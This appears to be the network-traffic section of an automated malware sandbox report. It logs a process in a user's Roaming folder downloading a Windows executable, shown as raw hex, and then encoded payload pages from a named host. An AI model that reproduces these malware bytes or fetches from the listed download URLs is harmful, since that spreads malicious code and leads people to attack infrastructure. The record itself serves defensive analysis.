Feb 23, 2021 16:53:54.356101036 CET	2	IN	HTTP/1.1 200 OK Date: Tue, 23 Feb 2021 15:53:54 GMT Server: Apache/2.2.31 (CentOS) Last-Modified: Tue, 23 Feb 2021 07:25:52 GMT ETag: "211e7-99b78-5bbfbd40d5228" Accept-Ranges: bytes Content-Length: 629624 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b9 be 7d f2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 7c 09 00 00 06 00 00 00 00 00 00 2e 9b 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 8c 7e 0a 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 9a 09 00 57 00 00 00 00 a0 09 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 84 09 00 78 17 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 7b 09 00 00 20 00 00 00 7c 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e0 03 00 00 00 a0 09 00 00 04 00 00 00 7e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 82 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 9b 09 00 00 00 00 00 48 00 00 00 02 00 05 00 58 61 09 00 7c 39 00 00 03 00 02 00 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 22 02 28 17 00 00 0a 00 2a a6 73 18 00 00 0a 80 01 00 00 04 73 19 00 00 0a 80 02 00 00 04 73 0b 00 00 06 80 03 00 00 04 73 1a 00 00 0a 80 04 00 00 04 2a 42 02 28 17 00 00 0a 00 00 02 28 09 00 00 06 00 2a 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 58 01 00 70 fe 0e 01 00 72 5c 01 00 70 fe 0e 02 00 73 19 00 00 0a fe 0e 03 00 2b 06 fe 16 20 00 00 01 fe 0c 01 00 28 01 00 00 2b 6f 2c 00 00 0a fe 0e 04 00 38 38 00 00 00 fe 0d 04 00 28 2d 00 00 0a fe 0e 05 00 fe 0c 05 00 28 2e 00 00 0a fe 0c 02 00 28 13 00 00 0a da fe 0e 06 00 fe 0c 03 00 fe 0c 06 00 28 2f 00 00 0a 6f 25 00 00 0a 26 00 fe 0d 04 00 28 30 00 00 0a fe 0e 07 00 fe 0c 07 00 3a b2 ff ff ff dd 11 00 00 00 fe 0d 04 00 fe 16 05 00 00 1b 6f 27 00 00 0a 00 dc fe 0c 03 00 6f 31 00 00 0a fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 2a 00 00 01 10 00 00 02 00 24 00 6a 8e 00 11 00 00 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 68 01 00 70 fe 0e 01 00 72 7e 01 00 70 fe 0e 02 00 73 19 00 00 0a fe 0e 03 00 2b 06 fe 16 24 00 00 01 fe 0c 01 00 28 01 00 00 2b 6f 2c 00 00 0a fe 0e 04 00 38 38 00 00 00 fe 0d 04 00 28 2d 00 00 0a fe 0e 05 00 fe 0c 05 00 28 2e 00 00 0a fe 0c 02 00 28 13 00 00 0a da fe 0e 06 00 fe 0c 03 00 fe 0c 06 00 28 2f 00 00 0a 6f 25 00 00 0a 26 00 fe 0d 04 00 28 30 00 00 0a fe 0e 07 00 fe 0c 07 00 3a b2 ff ff ff dd 11 00 00 00 fe 0d 04 00 fe 16 05 00 00 1b 6f 27 00 00 0a 00 dc fe 0c 03 00 6f 31 00 00 0a fe 0e 00 00 38 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}0\|. @ ~@Wx H.text4{ \| `.rsrc~@@.reloc@BHXa\|9"(ssssB((0rXpr\ps+ (+o,88(-(.((/o%&(0:o'o18*$j0rhpr~ps+$(+o,88(-(.((/o%&(0:o'o18
Feb 23, 2021 16:53:54.356157064 CET	3	IN	Data Raw: 00 fe 0c 00 00 2a 00 00 01 10 00 00 02 00 24 00 6a 8e 00 11 00 00 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 8a 01 00 70 fe 0e 01 00 72 17 02 00 70 fe 0e 02 00 73 19 00 00 0a fe 0e 03 00 2b 06 fe 16 25 00 00 01 fe 0c 01 00 28 01 00 00 2b 6f Data Ascii: $j0rprps+%(+o,88(-(.((/o%&(0:o'o18$j0
Feb 23, 2021 16:53:54.356198072 CET	5	IN	Data Raw: fe 16 2c 00 00 01 fe 0c 01 00 28 01 00 00 2b 6f 2c 00 00 0a fe 0e 04 00 38 38 00 00 00 fe 0d 04 00 28 2d 00 00 0a fe 0e 05 00 fe 0c 05 00 28 2e 00 00 0a fe 0c 02 00 28 13 00 00 0a da fe 0e 06 00 fe 0c 03 00 fe 0c 06 00 28 2f 00 00 0a 6f 25 00 00 Data Ascii: ,(+o,88(-(.((/o%&(0:o'o18*$j0rpr8ps+-(+o,88
Feb 23, 2021 16:53:54.356232882 CET	6	IN	Data Raw: 0c 03 00 fe 0c 06 00 28 2f 00 00 0a 6f 25 00 00 0a 26 00 fe 0d 04 00 28 30 00 00 0a fe 0e 07 00 fe 0c 07 00 3a b2 ff ff ff dd 11 00 00 00 fe 0d 04 00 fe 16 05 00 00 1b 6f 27 00 00 0a 00 dc fe 0c 03 00 6f 31 00 00 0a fe 0e 00 00 38 00 00 00 00 fe Data Ascii: (/o%&(0:o'o18*$j0rprps+5(+o,88(-(.((/o%&(0
Feb 23, 2021 16:53:54.356267929 CET	7	IN	Data Raw: 00 6f 31 00 00 0a fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 2a 00 00 01 10 00 00 02 00 24 00 6a 8e 00 11 00 00 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 7e 04 00 70 fe 0e 01 00 72 a4 04 00 70 fe 0e 02 00 73 19 00 00 0a fe 0e 03 00 2b 06 fe 16 Data Ascii: o18$j0r~prps+<(+o,88(-(.((/o%&(0:o'o18$j
Feb 23, 2021 16:53:54.356307983 CET	9	IN	Data Raw: 12 00 00 00 20 7e 01 00 00 9e 25 20 13 00 00 00 20 cc 01 00 00 9e 25 20 14 00 00 00 20 b5 00 00 00 9e 25 20 15 00 00 00 20 7d 00 00 00 9e 25 20 16 00 00 00 20 bc 00 00 00 9e 25 20 17 00 00 00 20 48 00 00 00 9e 25 20 18 00 00 00 20 7d 01 00 00 9e Data Ascii: ~% % % }% % H% }% % % z% X% % % % 3% ! % " % # % $ /% % A% &
Feb 23, 2021 16:53:54.356343031 CET	10	IN	Data Raw: 01 00 00 9e 25 20 82 00 00 00 20 a8 00 00 00 9e 25 20 83 00 00 00 20 91 00 00 00 9e 25 20 84 00 00 00 20 d8 01 00 00 9e 25 20 85 00 00 00 20 d7 01 00 00 9e 25 20 86 00 00 00 20 40 01 00 00 9e 25 20 87 00 00 00 20 b2 00 00 00 9e 25 20 88 00 00 00 Data Ascii: % % % % % @% % % % % b% g% % % % % % % % % r
Feb 23, 2021 16:53:54.356376886 CET	12	IN	Data Raw: f1 00 00 00 20 1a 01 00 00 9e 25 20 f2 00 00 00 20 ee 00 00 00 9e 25 20 f3 00 00 00 20 69 01 00 00 9e 25 20 f4 00 00 00 20 8f 00 00 00 9e 25 20 f5 00 00 00 20 35 01 00 00 9e 25 20 f6 00 00 00 20 67 00 00 00 9e 25 20 f7 00 00 00 20 18 01 00 00 9e Data Ascii: % % i% % 5% g% % % b% % y% % % C% % -% W% P% % %
Feb 23, 2021 16:53:54.356412888 CET	13	IN	Data Raw: 00 00 00 9e 25 20 61 01 00 00 20 3a 00 00 00 9e 25 20 62 01 00 00 20 13 01 00 00 9e 25 20 63 01 00 00 20 06 01 00 00 9e 25 20 64 01 00 00 20 f2 01 00 00 9e 25 20 65 01 00 00 20 d8 01 00 00 9e 25 20 66 01 00 00 20 35 00 00 00 9e 25 20 67 01 00 00 Data Ascii: % a :% b % c % d % e % f 5% g v% h % i % j % k }% l % m % n g% o <% p R% q % r g% s % t
Feb 23, 2021 16:53:54.356451988 CET	14	IN	Data Raw: d0 01 00 00 20 3e 00 00 00 9e 25 20 d1 01 00 00 20 95 00 00 00 9e 25 20 d2 01 00 00 20 61 01 00 00 9e 25 20 d3 01 00 00 20 be 00 00 00 9e 25 20 d4 01 00 00 20 28 01 00 00 9e 25 20 d5 01 00 00 20 a4 00 00 00 9e 25 20 d6 01 00 00 20 2b 01 00 00 9e Data Ascii: >% % a% % (% % +% % g% % `% % #% L% % &% e% O% !% u%
Feb 23, 2021 16:53:54.612919092 CET	16	IN	Data Raw: 00 00 00 9e 25 20 40 02 00 00 20 dd 00 00 00 9e 25 20 41 02 00 00 20 ad 00 00 00 9e 25 20 42 02 00 00 20 c5 00 00 00 9e 25 20 43 02 00 00 20 93 01 00 00 9e 25 20 44 02 00 00 20 90 01 00 00 9e 25 20 45 02 00 00 20 85 00 00 00 9e 25 20 46 02 00 00 Data Ascii: % @ % A % B % C % D % E % F % G % H ?% I % J % K % L % M ~% N % O % P % Q y% R % S +

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	172.67.172.17	80	C:\Users\user\AppData\Roaming\twox67345.exe

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 16:54:00.336730957 CET	667	OUT	GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1 Host: coroloboxorozor.com Connection: Keep-Alive
Feb 23, 2021 16:54:03.866312027 CET	668	IN	HTTP/1.1 200 OK Date: Tue, 23 Feb 2021 15:54:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dc05dc9ffb33e5ff4fed07e7094ccbea61614095640; expires=Thu, 25-Mar-21 15:54:00 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Tue, 23 Feb 2021 00:47:06 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087131ff3700000c65f2922000000001 Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=H0ZnWxmIwfPPLQE%2F1FWpT4KFWYbd9cX2axR5t7tj5iUt%2Fv1LXnVm3bJGfzJoAtZYWQ70zjtH6nHsm99lAozOjx8EnhbTKok6GmhFCxvOxUPKl8ok"}],"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62621f785a490c65-AMS Data Raw: 37 63 39 37 0d 0a 3c 70 3e 56 56 68 6e 4a 68 58 50 50 68 4a 68 75 68 4a 68 4a 68 4a 68 50 68 4a 68 4a 68 4a 68 52 53 53 68 52 53 53 68 4a 68 4a 68 58 78 50 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 6a 50 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 58 52 78 68 4a 68 4a 68 4a 68 58 50 68 75 58 68 58 78 6a 68 58 50 68 4a 68 58 78 4a 68 6e 68 52 4a 53 68 75 75 68 58 78 50 68 58 68 56 6a 68 52 4a 53 68 75 75 68 78 50 68 58 4a 50 68 58 4a 53 68 58 58 53 68 75 52 68 58 58 52 68 58 58 50 68 58 58 58 68 58 4a 75 68 58 58 50 68 6e 56 68 58 4a 6e 68 75 52 68 6e 6e 68 6e 56 68 58 58 4a 68 58 58 4a 68 58 58 58 68 58 58 6a 68 75 52 68 6e 78 68 58 4a 58 68 75 52 68 58 58 50 68 58 58 56 68 58 58 4a 68 75 52 68 58 4a 53 68 58 58 4a 68 75 52 68 6a 78 68 56 6e 68 78 75 68 75 52 68 58 4a 6e 68 58 58 58 68 58 4a 4a 68 58 4a 58 68 50 6a 68 58 75 68 58 75 68 58 4a 68 75 6a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 78 4a 68 6a 6e 68 4a 68 4a 68 56 6a 68 58 68 75 68 4a 68 56 6a 68 58 50 52 68 50 58 68 58 78 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 52 52 50 68 4a 68 75 50 68 4a 68 58 58 68 58 68 78 4a 68 4a 68 4a 68 58 75 52 68 53 68 4a 68 4a 68 6a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 52 53 50 68 58 6a 58 68 53 68 4a 68 4a 68 75 52 68 4a 68 4a 68 4a 68 58 6e 52 68 53 68 4a 68 4a 68 4a 68 4a 68 58 52 78 68 4a 68 75 52 68 4a 68 4a 68 4a 68 52 68 4a 68 4a 68 50 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 50 68 4a 68 4a 68 4a 68 4a 68 4a 68 Data Ascii: 7c97<p>VVhnJhXPPhJhuhJhJhJhPhJhJhJhRSShRSShJhJhXxPhJhJhJhJhJhJhJhjPhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhXRxhJhJhJhXPhuXhXxjhXPhJhXxJhnhRJShuuhXxPhXhVjhRJShuuhxPhXJPhXJShXXShuRhXXRhXXPhXXXhXJuhXXPhnVhXJnhuRhnnhnVhXXJhXXJhXXXhXXjhuRhnxhXJXhuRhXXPhXXVhXXJhuRhXJShXXJhuRhjxhVnhxuhuRhXJnhXXXhXJJhXJXhPjhXuhXuhXJhujhJhJhJhJhJhJhJhxJhjnhJhJhVjhXhuhJhVjhXPRhPXhXxJhJhJhJhJhJhJhJhJhRRPhJhuPhJhXXhXhxJhJhJhXuRhShJhJhjhJhJhJhJhJhJhRSPhXjXhShJhJhuRhJhJhJhXnRhShJhJhJhJhXRxhJhuRhJhJhJhRhJhJhPhJhJhJhJhJhJhJhPhJhJhJhJhJh
Feb 23, 2021 16:54:03.866349936 CET	670	IN	Data Raw: 4a 68 4a 68 4a 68 4a 68 6a 68 4a 68 4a 68 52 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a 68 52 68 4a 68 6a 50 68 58 75 75 68 4a 68 4a 68 58 6a 68 4a 68 4a 68 58 6a 68 4a 68 4a 68 4a 68 4a 68 58 6a 68 4a 68 4a 68 58 6a 68 4a 68 4a 68 4a 68 4a 68 4a 68 4a Data Ascii: JhJhJhJhjhJhJhRhJhJhJhJhJhJhRhJhjPhXuuhJhJhXjhJhJhXjhJhJhJhJhXjhJhJhXjhJhJhJhJhJhJhXjhJhJhJhJhJhJhJhJhJhJhJhXjxhXjXhShJhxuhJhJhJhJhXnRhShJhXujhuhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhRRPhShJhXRhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJhJ
Feb 23, 2021 16:54:03.866372108 CET	671	IN	Data Raw: 58 53 68 75 50 68 4a 68 4a 68 58 4a 68 58 52 78 68 58 68 4a 68 4a 68 50 68 58 58 53 68 75 53 68 4a 68 4a 68 58 4a 68 58 52 78 68 52 68 4a 68 4a 68 50 68 58 58 53 68 75 6a 68 4a 68 4a 68 58 4a 68 58 52 78 68 75 68 4a 68 4a 68 50 68 58 58 53 68 75 Data Ascii: XShuPhJhJhXJhXRxhXhJhJhPhXXShuShJhJhXJhXRxhRhJhJhPhXXShujhJhJhXJhXRxhuhJhJhPhXXShuVhJhJhXJhXRxhPhJhJhPhPRhuxhJhuhRSPhRXhVhJhJhRVhPRhuxhJhRhPJhPxhJhJhXJhJhPRhxRhJhRhPJhPxhJhJhXJhJhRhXXShSRhJhJhXJhXRShPnhJhJhXJhPRhuPhJhRhXRxhVhJhJhPhPRhxjhXXShVn
Feb 23, 2021 16:54:03.866391897 CET	672	IN	Data Raw: 6a 68 4a 68 4a 68 52 68 4a 68 52 78 68 4a 68 58 4a 6a 68 58 75 50 68 4a 68 58 56 68 4a 68 4a 68 4a 68 4a 68 52 56 68 50 78 68 52 68 4a 68 58 56 50 68 4a 68 4a 68 4a 68 58 68 4a 68 4a 68 58 56 68 4a 68 58 58 50 68 53 53 68 4a 68 4a 68 58 58 52 68 Data Ascii: jhJhJhRhJhRxhJhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhSShJhJhXXRhRSPhXPhXhJhXXPhjVhJhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPh
Feb 23, 2021 16:54:03.866410017 CET	674	IN	Data Raw: 4a 68 52 53 50 68 58 52 68 53 68 4a 68 50 4a 68 52 53 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 52 68 52 68 4a 68 50 4a 68 52 6a 68 4a 68 4a 68 58 4a 68 52 58 78 68 52 53 50 68 58 50 68 6a 68 4a 68 52 53 50 68 58 52 68 75 68 4a 68 52 53 50 68 58 52 Data Ascii: JhRSPhXRhShJhPJhRShJhJhXJhRSPhXRhRhJhPJhRjhJhJhXJhRXxhRSPhXPhjhJhRSPhXRhuhJhRSPhXRhjhJhPJhRVhJhJhXJhXXXhRxhJhJhXJhuxhJhRSPhXuhPhJhPJhRnhJhJhXJhRSPhXPhVhJhRSPhXRhVhJhSxhXVxhRSShRSShRSShRRXhXVhJhJhJhRSPhXuhPhJhRSPhRRhRhJhJhRVhXXXhuJhJhJhXJhJhRRJ
Feb 23, 2021 16:54:03.866425991 CET	675	IN	Data Raw: 68 4a 68 52 52 4a 68 52 53 50 68 58 52 68 75 68 4a 68 58 58 58 68 75 58 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 4a 68 4a 68 53 6a 68 4a 68 4a 68 4a 68 4a 68 52 53 50 68 58 52 68 4a 68 4a 68 50 52 68 4a 68 4a 68 58 68 58 6a 68 4a 68 4a 68 52 Data Ascii: hJhRRJhRSPhXRhuhJhXXXhuXhJhJhXJhRSPhXPhJhJhSjhJhJhJhJhRSPhXRhJhJhPRhJhJhXhXjhJhJhRhJhRxhJhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhRuhXhJhXXRhRSPhXPhXhJhXXPhjXhXhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhX
Feb 23, 2021 16:54:03.866447926 CET	677	IN	Data Raw: 4a 68 50 75 68 58 58 58 68 52 75 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 50 68 4a 68 53 6a 68 53 6a 68 4a 68 4a 68 4a 68 52 53 50 68 58 75 68 50 68 4a 68 50 4a 68 52 50 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 53 68 4a 68 52 53 50 68 58 Data Ascii: JhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPhXRhShJhPJhRShJhJhXJhRSPhXRhRhJhPJhRjhJhJhXJhRXxhRSPhXPhjhJhRSPhXRhuhJhRSPhXRhjhJhPJhRVhJhJhXJhXXXhRxhJhJhXJhuxhJhRSPhXuhPhJhPJhRnhJhJhXJhRSPhXPhVhJhRSPhXRhVhJhSxh
Feb 23, 2021 16:54:03.866471052 CET	678	IN	Data Raw: 56 68 4a 68 53 78 68 58 56 78 68 52 53 53 68 52 53 53 68 52 53 53 68 52 52 58 68 58 56 68 4a 68 4a 68 4a 68 52 53 50 68 58 75 68 50 68 4a 68 52 53 50 68 52 52 68 52 68 4a 68 4a 68 52 56 68 58 58 58 68 75 4a 68 4a 68 4a 68 58 4a 68 4a 68 52 52 4a Data Ascii: VhJhSxhXVxhRSShRSShRSShRRXhXVhJhJhJhRSPhXuhPhJhRSPhRRhRhJhJhRVhXXXhuJhJhJhXJhJhRRJhRSPhXRhuhJhXXXhuXhJhJhXJhRSPhXPhJhJhSjhJhJhJhJhRSPhXRhJhJhPRhJhJhXhXjhJhJhRhJhRxhJhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhVhRhJhXXRhRSPhXPhXhJh
Feb 23, 2021 16:54:03.866492033 CET	679	IN	Data Raw: 68 4a 68 58 58 50 68 58 4a 53 68 52 68 4a 68 58 58 52 68 52 53 50 68 58 50 68 52 68 4a 68 58 58 53 68 52 58 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 75 68 4a 68 52 53 50 68 58 52 68 58 68 4a 68 50 4a 68 58 68 4a 68 4a 68 50 75 68 58 58 58 68 Data Ascii: hJhXXPhXJShRhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPhXRhShJhPJhRShJhJhXJhRSPhXRhRhJhPJhRjhJhJhXJhRXxhRSPhXPhjhJhRSPhXRhuhJhRSPhXRhjhJhPJhRVhJh
Feb 23, 2021 16:54:03.866514921 CET	681	IN	Data Raw: 4a 68 52 56 68 4a 68 4a 68 58 4a 68 58 58 58 68 52 78 68 4a 68 4a 68 58 4a 68 75 78 68 4a 68 52 53 50 68 58 75 68 50 68 4a 68 50 4a 68 52 6e 68 4a 68 4a 68 58 4a 68 52 53 50 68 58 50 68 56 68 4a 68 52 53 50 68 58 52 68 56 68 4a 68 53 78 68 58 56 Data Ascii: JhRVhJhJhXJhXXXhRxhJhJhXJhuxhJhRSPhXuhPhJhPJhRnhJhJhXJhRSPhXPhVhJhRSPhXRhVhJhSxhXVxhRSShRSShRSShRRXhXVhJhJhJhRSPhXuhPhJhRSPhRRhRhJhJhRVhXXXhuJhJhJhXJhJhRRJhRSPhXRhuhJhXXXhuXhJhJhXJhRSPhXPhJhJhSjhJhJhJhJhRSPhXRhJhJhPRhJhJhXhXjhJhJhRhJhRxhJhXJjh
Feb 23, 2021 16:54:03.867505074 CET	682	IN	Data Raw: 4a 68 58 4a 6a 68 58 75 50 68 4a 68 58 56 68 4a 68 4a 68 4a 68 4a 68 52 56 68 50 78 68 52 68 4a 68 58 56 50 68 4a 68 4a 68 4a 68 58 68 4a 68 4a 68 58 56 68 4a 68 58 58 50 68 75 56 68 75 68 4a 68 58 58 52 68 52 53 50 68 58 50 68 58 68 4a 68 58 58 Data Ascii: JhXJjhXuPhJhXVhJhJhJhJhRVhPxhRhJhXVPhJhJhJhXhJhJhXVhJhXXPhuVhuhJhXXRhRSPhXPhXhJhXXPhjnhuhJhXXRhRSPhXPhRhJhXXShRXhJhJhXJhRSPhXPhuhJhRSPhXRhXhJhPJhXhJhJhPuhXXXhRuhJhJhXJhRSPhXPhPhJhSjhSjhJhJhJhRSPhXuhPhJhPJhRPhJhJhXJhRSPhXPhShJhRSPhXRhShJhPJhRSh
Feb 23, 2021 16:55:09.731744051 CET	1731	OUT	GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1 Host: coroloboxorozor.com
Feb 23, 2021 16:55:12.886451960 CET	1733	IN	HTTP/1.1 200 OK Date: Tue, 23 Feb 2021 15:55:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d1277d60305cba58c94c33ec19b1898e31614095709; expires=Thu, 25-Mar-21 15:55:09 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Tue, 23 Feb 2021 00:47:08 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0871330e4900000c65dc170000000001 Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=dRDS%2FuoO7NoDqjffPZWFouj36bqe8LRMLpWh6H814tB%2FPPe2v4m0YGdDihwemKbex1IZR%2FZCTsDBpVZExqPCjfRj%2B%2FSyB8n1czSl0uNmC15xU4r%2F"}],"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6262212a0aab0c65-AMS Data Raw: 33 33 31 38 0d 0a 3c 70 3e 58 78 68 52 58 78 68 58 78 4a 68 58 78 4a 68 56 53 68 56 53 68 6a 53 68 6a 53 68 53 53 68 53 53 68 58 4a 68 58 4a 68 6a 58 68 6a 58 68 58 53 68 58 53 68 75 56 68 75 56 68 52 53 68 52 53 68 52 75 56 68 52 75 56 68 58 6a 4a 68 58 6a 4a 68 78 75 68 78 75 68 75 78 68 75 78 68 58 56 68 58 56 68 75 53 68 75 53 68 52 4a 68 52 4a 68 53 56 68 53 56 68 6a 68 6a 68 52 50 50 68 52 50 50 68 58 52 78 68 58 52 78 68 58 58 50 68 58 58 50 68 6a 6a 68 6a 6a 68 75 78 68 75 78 68 53 50 68 53 50 68 52 4a 78 68 52 4a 53 68 58 6a 4a 68 58 6a 4a 68 52 4a 78 68 52 4a 78 68 58 6a 52 68 58 6a 52 68 75 58 68 52 78 68 50 53 68 50 53 68 52 6e 68 52 6e 68 50 58 68 50 58 68 56 56 68 6a 50 68 53 58 68 53 58 68 6e 50 68 6e 50 68 52 75 78 68 52 75 78 68 52 4a 50 68 58 6e 58 68 58 50 75 68 58 50 75 68 58 56 75 68 58 56 75 68 52 78 68 52 78 68 75 68 4a 68 58 58 50 68 58 58 50 68 56 68 56 68 52 75 58 68 52 75 58 68 53 4a 68 50 56 68 58 56 52 68 58 56 52 68 58 6a 75 68 58 53 75 68 53 78 68 53 78 68 52 53 52 68 52 50 58 68 52 50 52 68 52 75 6e 68 58 53 68 52 50 78 68 58 58 52 68 58 4a 78 68 58 6a 68 52 50 50 68 58 75 52 68 58 75 52 68 58 78 52 68 6e 78 68 52 52 78 68 58 52 56 68 58 68 58 75 6e 68 78 75 68 58 50 68 75 52 68 52 58 75 68 6a 78 68 52 58 75 68 50 78 68 52 75 52 68 58 56 68 58 6a 6e 68 58 4a 75 68 52 68 58 6e 58 68 78 78 68 75 56 68 58 78 4a 68 52 50 68 58 6e 56 68 58 6e 6e 68 6e 78 68 58 53 78 68 53 56 68 56 53 68 58 53 68 50 53 68 58 6e 4a 68 58 58 58 68 52 53 4a 68 75 4a 68 58 78 53 68 56 56 68 56 56 68 58 53 6a 68 52 68 58 56 6a 68 58 56 6a 68 58 53 78 68 75 4a 68 52 52 56 Data Ascii: 3318<p>XxhRXxhXxJhXxJhVShVShjShjShSShSShXJhXJhjXhjXhXShXShuVhuVhRShRShRuVhRuVhXjJhXjJhxuhxuhuxhuxhXVhXVhuShuShRJhRJhSVhSVhjhjhRPPhRPPhXRxhXRxhXXPhXXPhjjhjjhuxhuxhSPhSPhRJxhRJShXjJhXjJhRJxhRJxhXjRhXjRhuXhRxhPShPShRnhRnhPXhPXhVVhjPhSXhSXhnPhnPhRuxhRuxhRJPhXnXhXPuhXPuhXVuhXVuhRxhRxhuhJhXXPhXXPhVhVhRuXhRuXhSJhPVhXVRhXVRhXjuhXSuhSxhSxhRSRhRPXhRPRhRunhXShRPxhXXRhXJxhXjhRPPhXuRhXuRhXxRhnxhRRxhXRVhXhXunhxuhXPhuRhRXuhjxhRXuhPxhRuRhXVhXjnhXJuhRhXnXhxxhuVhXxJhRPhXnVhXnnhnxhXSxhSVhVShXShPShXnJhXXXhRSJhuJhXxShVVhVVhXSjhRhXVjhXVjhXSxhuJhRRV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49168	172.67.172.17	80	C:\Users\user\AppData\Roaming\twox67345.exe

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 16:55:35.489645958 CET	1982	OUT	GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1 Host: coroloboxorozor.com Connection: Keep-Alive
